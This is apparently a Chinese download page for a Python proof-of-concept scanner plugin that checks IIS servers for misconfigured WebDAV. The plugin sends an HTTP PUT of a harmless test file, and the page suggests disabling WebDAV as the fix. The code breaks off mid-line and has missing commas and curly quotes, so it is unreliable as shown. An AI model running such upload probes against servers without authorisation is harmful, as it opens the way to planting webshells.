资源简介

    name: IIS WebDav
    info: "开启了WebDav且配置不当可导致攻击者直接上传webshell,进而导致服务器被入侵控制。
    level: 紧急
    type: 任意文件上传
    repair: 禁用 IIS 的 WebDAV 服务

资源截图

代码片段和文件信息

 #!/usr/bin/env python
# -*- coding:utf-8 -*-

‘‘‘
    name: IIS WebDav
    info: “开启了WebDav且配置不当可导致攻击者直接上传webshell,进而导致服务器被入侵控制。
    level: 紧急
    type: 任意文件上传
    repair: 禁用 IIS 的 WebDAV 服务
‘‘‘

import sysos
import socketurllib2time
from POC_framework import POC

class myPOC10(POC):
    
    #单IP的POC
    def check(self ip port timeout=5):
        try:
            socket.setdefaulttimeout(timeout)
            s = socket.socket(socket.AF_INET socket.SOCK_STREAM)
            s.connect((ip port))
            flag = “PUT /vultest.txt HTTP/1.1\r\nHost: %s:%d\r\nContent-Length: 9\r\n\r\nscan\r\n\r\n“ % (ip port)
            s.send(flag)
            time.sleep(1)
            data = s.rec

评论

共有 条评论